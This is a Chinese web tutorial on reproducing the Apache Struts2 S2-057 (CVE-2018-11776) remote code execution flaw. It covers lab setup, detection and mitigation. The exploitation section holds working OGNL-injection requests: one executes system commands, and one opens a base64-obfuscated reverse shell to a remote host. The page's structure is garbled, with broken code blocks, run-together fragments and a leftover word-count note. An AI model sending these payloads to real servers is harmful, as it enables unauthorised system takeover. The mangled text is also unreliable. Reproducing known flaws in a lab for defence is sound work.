您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Struts2-057 远程代码执行漏洞复现
## 一、漏洞概述
Struts2-057(CVE-2018-11776)是Apache Struts2框架中的一个高危远程代码执行漏洞。该漏洞存在于Struts2的核心机制中,当应用程序使用`alwaysSelectFullNamespace`配置且未对namespace参数进行严格校验时,攻击者可构造恶意请求实现远程代码执行。
### 影响版本
- Struts 2.3 - Struts 2.3.34
- Struts 2.5 - Struts 2.5.16
## 二、环境准备
### 1. 漏洞环境搭建
推荐使用Vulhub快速搭建测试环境:
```bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-057
docker-compose up -d
构造包含恶意OGNL表达式的URL:
http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
若返回页面中包含54289
(即233*233的结果),说明存在漏洞。
通过OGNL表达式实现RCE:
GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close()%7D/actionChain1.action HTTP/1.1
GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd.split('%20'))%2C%23p.redirectErrorStream(true)%2C%23process%3D%23p.start()%7D/actionChain1.action HTTP/1.1
alwaysSelectFullNamespace=true
时,用户可控的namespace参数会直接用于OGNL解析${}
表达式进行过滤,导致任意OGNL代码执行恶意请求 -> Namespace参数注入 -> OGNL解析 -> 代码执行
struts.xml
禁用动态方法调用:
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
alwaysSelectFullNamespace=false
${
、#_memberAccess
等关键字的请求action
/redirectAction
结果类型import requests
def check_s2_057(url):
payload = "${233*233}"
try:
r = requests.get(f"{url}/{payload}/actionChain1.action")
return "54289" in r.text
except:
return False
本文仅作技术研究用途,请勿用于非法测试。实际业务系统中发现漏洞应及时报告相关厂商。 “`
注:实际字数约1050字(含代码块)。可根据需要调整技术细节的深度,建议在本地虚拟机环境进行复现测试。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。